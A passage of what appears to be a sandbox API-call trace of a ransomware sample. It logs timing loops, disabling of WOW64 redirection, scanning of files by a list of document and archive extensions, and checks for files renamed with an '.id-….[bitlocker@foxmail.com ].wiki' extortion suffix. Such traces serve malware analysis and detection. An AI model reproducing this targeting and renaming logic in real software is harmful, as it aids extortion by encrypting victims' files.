(hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0156.936] GetTickCount () returned 0x113c330 [0156.936] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.043] GetTickCount () returned 0x113c39e [0157.044] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.151] GetTickCount () returned 0x113c40b [0157.151] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.267] GetTickCount () returned 0x113c478 [0157.267] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.371] GetTickCount () returned 0x113c4e5 [0157.371] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.482] GetTickCount () returned 0x113c543 [0157.482] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.610] GetTickCount () returned 0x113c5cf [0157.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.720] GetTickCount () returned 0x113c63c [0157.720] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.832] GetTickCount () returned 0x113c6aa [0157.832] GetTickCount () returned 0x113c6aa [0157.832] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0157.942] GetTickCount () returned 0x113c717 [0157.942] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0158.139] GetTickCount () returned 0x113c7d2 [0158.139] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0158.295] GetTickCount () returned 0x113c86e [0158.295] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0158.472] GetTickCount () returned 0x113c91a [0158.472] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0158.627] GetTickCount () returned 0x113c9a6 [0158.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0158.816] GetTickCount () returned 0x113ca61 [0158.816] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0158.983] GetTickCount () returned 0x113cafd [0158.983] GetTickCount () returned 0x113cafd [0158.983] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0159.160] GetTickCount () returned 0x113cba9 [0159.160] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0159.308] GetTickCount () returned 0x113cc45 [0159.308] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0159.633] GetTickCount () returned 0x113cd7d [0159.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0159.862] GetTickCount () returned 0x113ce67 [0159.862] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0160.066] GetTickCount () returned 0x113cf32 [0160.066] GetTickCount () returned 0x113cf32 [0160.066] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0160.339] GetTickCount () returned 0x113d03b [0160.339] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0160.546] GetTickCount () returned 0x113d106 [0160.546] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0160.763] GetTickCount () returned 0x113d1e0 [0160.763] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0160.925] GetTickCount () returned 0x113d27c [0160.926] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0161.089] GetTickCount () returned 0x113d318 [0161.089] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0161.294] GetTickCount () returned 0x113d3e3 [0161.294] GetTickCount () returned 0x113d3e3 [0161.294] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0161.560] GetTickCount () returned 0x113d4dc [0161.560] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0161.835] GetTickCount () returned 0x113d5e6 [0161.835] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0162.034] GetTickCount () returned 0x113d6b0 [0162.034] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0162.298] GetTickCount () returned 0x113d7aa [0162.298] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0162.564] GetTickCount () returned 0x113d8b3 [0162.564] GetTickCount () returned 0x113d8b3 [0162.564] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0162.716] GetTickCount () returned 0x113d940 [0162.716] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0163.071] GetTickCount () returned 0x113daa6 [0163.071] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0163.252] GetTickCount () returned 0x113db52 [0163.252] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0163.484] GetTickCount () returned 0x113dc3c [0163.484] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0163.689] GetTickCount () returned 0x113dcf7 [0163.689] GetTickCount () returned 0x113dcf7 [0163.689] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0163.916] GetTickCount () returned 0x113ddd2 [0163.916] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0164.086] GetTickCount () returned 0x113de7d [0164.086] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0164.368] GetTickCount () returned 0x113df96 [0164.368] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0164.718] GetTickCount () returned 0x113e0de [0164.719] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0164.898] GetTickCount () returned 0x113e189 [0164.902] GetTickCount () returned 0x113e199 [0164.906] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0165.322] GetTickCount () returned 0x113e32e [0165.322] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0165.566] GetTickCount () returned 0x113e409 [0165.566] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0165.776] GetTickCount () returned 0x113e4e3 [0165.776] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0166.049] GetTickCount () returned 0x113e5ec [0166.049] GetTickCount () returned 0x113e5ec [0166.049] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0166.273] GetTickCount () returned 0x113e6c7 [0166.273] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0166.538] GetTickCount () returned 0x113e7c0 [0166.538] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0166.730] GetTickCount () returned 0x113e87c [0166.731] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0167.072] GetTickCount () returned 0x113e9d3 [0167.072] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0167.325] GetTickCount () returned 0x113eabd [0167.325] GetTickCount () returned 0x113eabd [0167.325] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0167.548] GetTickCount () returned 0x113eb97 [0167.548] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0167.758] GetTickCount () returned 0x113ec62 [0167.758] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0168.035] GetTickCount () returned 0x113ed6b [0168.035] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0168.191] GetTickCount () returned 0x113ee07 [0168.191] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0168.425] GetTickCount () returned 0x113eef1 [0168.425] GetTickCount () returned 0x113eef1 [0168.425] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0168.582] GetTickCount () returned 0x113ef7e [0168.582] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0168.945] GetTickCount () returned 0x113f0e4 [0168.945] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x0 [0168.945] GetTickCount () returned 0x113f0e4 [0168.945] Sleep (dwMilliseconds=0x64) [0169.078] GetTickCount () returned 0x113f161 [0169.079] Sleep (dwMilliseconds=0x64) [0169.217] GetTickCount () returned 0x113f1ee [0169.217] Sleep (dwMilliseconds=0x64) [0169.325] GetTickCount () returned 0x113f25b [0169.325] Sleep (dwMilliseconds=0x64) [0169.427] GetTickCount () returned 0x113f2c8 [0169.427] Sleep (dwMilliseconds=0x64) [0169.558] GetTickCount () returned 0x113f345 [0169.558] GetTickCount () returned 0x113f345 [0169.558] Sleep (dwMilliseconds=0x64) [0169.661] GetTickCount () returned 0x113f3a2 [0169.661] Sleep (dwMilliseconds=0x64) [0169.791] GetTickCount () returned 0x113f42f [0169.791] Sleep (dwMilliseconds=0x64) [0169.922] GetTickCount () returned 0x113f4ac [0169.922] Sleep (dwMilliseconds=0x64) [0170.022] GetTickCount () returned 0x113f509 [0170.022] Sleep (dwMilliseconds=0x64) [0170.145] GetTickCount () returned 0x113f586 [0170.145] Sleep (dwMilliseconds=0x64) [0170.276] GetTickCount () returned 0x113f612 [0170.276] Sleep (dwMilliseconds=0x64) [0170.409] GetTickCount () returned 0x113f68f [0170.409] Sleep (dwMilliseconds=0x64) [0170.547] GetTickCount () returned 0x113f71c [0170.547] Sleep (dwMilliseconds=0x64) [0170.700] GetTickCount () returned 0x113f7a8 [0170.700] GetTickCount () returned 0x113f7a8 [0170.700] Sleep (dwMilliseconds=0x64) [0170.831] GetTickCount () returned 0x113f825 [0170.831] Sleep (dwMilliseconds=0x64) [0170.940] GetTickCount () returned 0x113f892 [0170.940] Sleep (dwMilliseconds=0x64) [0171.074] GetTickCount () returned 0x113f91e [0171.074] Sleep (dwMilliseconds=0x64) [0171.229] GetTickCount () returned 0x113f9ba [0171.229] Sleep (dwMilliseconds=0x64) [0171.361] GetTickCount () returned 0x113fa37 [0171.361] Sleep (dwMilliseconds=0x64) [0171.604] GetTickCount () returned 0x113fb21 [0171.604] Sleep (dwMilliseconds=0x64) [0171.969] GetTickCount () returned 0x113fc78 [0171.969] GetTickCount () returned 0x113fc78 [0171.969] Sleep (dwMilliseconds=0x64) [0172.245] GetTickCount () returned 0x113fd82 [0172.245] Sleep (dwMilliseconds=0x64) [0172.631] GetTickCount () returned 0x113fef8 [0172.631] Sleep (dwMilliseconds=0x64) [0172.858] GetTickCount () returned 0x113ffd2 [0172.858] Sleep (dwMilliseconds=0x64) [0173.023] GetTickCount () returned 0x114006e [0173.023] GetTickCount () returned 0x114006e [0173.023] Sleep (dwMilliseconds=0x64) [0173.360] GetTickCount () returned 0x11401b6 [0173.360] Sleep (dwMilliseconds=0x64) [0173.637] GetTickCount () returned 0x11402bf [0173.637] Sleep (dwMilliseconds=0x64) [0173.982] GetTickCount () returned 0x1140407 [0173.982] Sleep (dwMilliseconds=0x64) [0174.221] GetTickCount () returned 0x11404f1 [0174.221] GetTickCount () returned 0x11404f1 [0174.221] Sleep (dwMilliseconds=0x64) [0174.626] GetTickCount () returned 0x1140677 [0174.626] Sleep (dwMilliseconds=0x64) [0174.841] GetTickCount () returned 0x1140742 [0174.841] Sleep (dwMilliseconds=0x64) [0174.993] GetTickCount () returned 0x11407de [0174.993] Sleep (dwMilliseconds=0x64) [0175.299] GetTickCount () returned 0x1140906 [0175.299] GetTickCount () returned 0x1140906 [0175.299] Sleep (dwMilliseconds=0x64) [0175.571] GetTickCount () returned 0x1140a0f [0175.571] Sleep (dwMilliseconds=0x64) [0176.478] GetTickCount () returned 0x1140d79 [0176.478] GetTickCount () returned 0x1140d79 [0176.478] Sleep (dwMilliseconds=0x64) [0176.730] GetTickCount () returned 0x1140e63 [0176.730] Sleep (dwMilliseconds=0x64) [0177.137] GetTickCount () returned 0x1140ff8 [0177.137] Sleep (dwMilliseconds=0x64) [0177.533] GetTickCount () returned 0x114116f [0177.533] GetTickCount () returned 0x114116f [0177.533] Sleep (dwMilliseconds=0x64) [0177.877] GetTickCount () returned 0x11412c6 [0177.877] Sleep (dwMilliseconds=0x64) [0178.207] GetTickCount () returned 0x11413fe [0178.207] Sleep (dwMilliseconds=0x64) [0178.421] GetTickCount () returned 0x11414c9 [0178.421] Sleep (dwMilliseconds=0x64) [0178.884] GetTickCount () returned 0x114168d [0178.884] GetTickCount () returned 0x114168d [0178.884] Sleep (dwMilliseconds=0x64) [0179.174] GetTickCount () returned 0x11417a6 [0179.174] Sleep (dwMilliseconds=0x64) [0179.441] GetTickCount () returned 0x11418af [0179.441] Sleep (dwMilliseconds=0x64) [0179.861] GetTickCount () returned 0x1141a55 [0179.862] Sleep (dwMilliseconds=0x64) [0180.131] GetTickCount () returned 0x1141b5e [0180.131] GetTickCount () returned 0x1141b5e [0180.131] Sleep (dwMilliseconds=0x64) [0180.464] GetTickCount () returned 0x1141ca5 [0180.464] Sleep (dwMilliseconds=0x64) [0180.876] GetTickCount () returned 0x1141e2b [0180.876] Sleep (dwMilliseconds=0x64) [0181.108] GetTickCount () returned 0x1141f15 [0181.108] Sleep (dwMilliseconds=0x64) [0181.366] GetTickCount () returned 0x114200f [0181.366] GetTickCount () returned 0x114200f [0181.366] Sleep (dwMilliseconds=0x64) [0181.622] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2beff64*=0x174, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0182.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4ff0020 | out: hHeap=0x630000) returned 1 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae188 | out: hHeap=0x630000) returned 1 [0182.136] lstrlenW (lpString=".wiki") returned 5 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681330 | out: hHeap=0x630000) returned 1 [0182.136] lstrlenW (lpString=".[bitlocker@foxmail.com ]") returned 25 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666e58 | out: hHeap=0x630000) returned 1 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aecc0 | out: hHeap=0x630000) returned 1 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6810b8 | out: hHeap=0x630000) returned 1 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6810d0 | out: hHeap=0x630000) returned 1 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681100 | out: hHeap=0x630000) returned 1 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681118 | out: hHeap=0x630000) returned 1 [0182.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6810e8 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681130 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aecb0 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681160 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681198 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6811c8 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aecf0 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aeca0 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681210 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aece0 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681240 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aed00 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6811b0 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665be0 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665bb8 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a220 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a260 | out: hHeap=0x630000) returned 1 [0182.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afd78 | out: hHeap=0x630000) returned 1 [0182.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a2c40 | out: hHeap=0x630000) returned 1 [0182.138] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6811b0 [0182.138] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6811b0, Size=0x20) returned 0x665bb8 [0182.138] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6811b0 [0182.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6811b0, Size=0x20) returned 0x665be0 [0182.139] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.139] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.139] Wow64DisableWow64FsRedirection (in: OldValue=0x2beff84 | out: OldValue=0x2beff84*=0x1) returned 1 [0182.139] lstrlenW (lpString="kernel32.dll") returned 12 [0182.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665be0 | out: hHeap=0x630000) returned 1 [0182.139] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665bb8 | out: hHeap=0x630000) returned 1 Thread: id = 336 os_tid = 0x274 [0147.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x6cfda0 [0147.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x6dfda8 [0147.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681588 [0147.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6aed60 [0147.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6815a0 [0147.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x38e0020 [0147.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0147.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x69e6c0 [0147.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0147.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x69e670 [0147.782] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.782] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.782] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2ff58 | out: OldValue=0x2d2ff58*=0x0) returned 1 [0147.782] lstrlenW (lpString="kernel32.dll") returned 12 [0147.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 [0147.782] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0147.782] Sleep (dwMilliseconds=0x64) [0147.945] lstrcmpiW (lpString1=".ini", lpString2=".wiki") returned -1 [0147.945] lstrlenW (lpString="desktop.ini") returned 11 [0147.945] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0147.945] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=129) returned 1 [0147.945] CloseHandle (hObject=0x1c0) returned 1 [0147.945] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0147.946] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0x26 [0148.070] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.070] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.070] lstrlenW (lpString=".doc") returned 4 [0148.070] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.070] lstrlenW (lpString=".docx") returned 5 [0148.070] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0148.070] lstrlenW (lpString=".pdf") returned 4 [0148.070] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.070] lstrlenW (lpString=".xls") returned 4 [0148.070] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.070] lstrlenW (lpString=".xlsx") returned 5 [0148.070] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0148.070] lstrlenW (lpString=".ppt") returned 4 [0148.070] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.070] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.070] lstrlenW (lpString=".zip") returned 4 [0148.070] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.070] lstrlenW (lpString=".rar") returned 4 [0148.070] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.071] lstrlenW (lpString=".bz2") returned 4 [0148.071] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.071] lstrlenW (lpString=".7z") returned 3 [0148.071] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.071] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.071] lstrlenW (lpString=".dbf") returned 4 [0148.071] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.071] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.071] lstrlenW (lpString=".1cd") returned 4 [0148.071] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.071] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.071] lstrlenW (lpString=".jpg") returned 4 [0148.071] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.071] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.071] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.071] lstrlenW (lpString=".doc") returned 4 [0148.071] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.071] lstrlenW (lpString=".docx") returned 5 [0148.071] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0148.071] lstrlenW (lpString=".pdf") returned 4 [0148.071] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.071] lstrlenW (lpString=".xls") returned 4 [0148.071] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.071] lstrlenW (lpString=".xlsx") returned 5 [0148.071] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0148.071] lstrlenW (lpString=".ppt") returned 4 [0148.071] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.071] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.071] lstrlenW (lpString=".zip") returned 4 [0148.072] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.072] lstrlenW (lpString=".rar") returned 4 [0148.072] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.072] lstrlenW (lpString=".bz2") returned 4 [0148.072] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.072] lstrlenW (lpString=".7z") returned 3 [0148.072] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.072] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.072] lstrlenW (lpString=".dbf") returned 4 [0148.072] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.072] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.072] lstrlenW (lpString=".1cd") returned 4 [0148.072] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.072] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0148.072] lstrlenW (lpString=".jpg") returned 4 [0148.072] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.073] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.073] lstrlenW (lpString="Alphabet.xml") returned 12 [0148.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0148.237] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=791686) returned 1 [0148.237] CloseHandle (hObject=0x1bc) returned 1 [0148.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0148.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.238] lstrlenW (lpString=".doc") returned 4 [0148.238] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString=".docx") returned 5 [0148.238] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0148.238] lstrlenW (lpString=".pdf") returned 4 [0148.238] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString=".xls") returned 4 [0148.238] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString=".xlsx") returned 5 [0148.238] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0148.238] lstrlenW (lpString=".ppt") returned 4 [0148.238] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 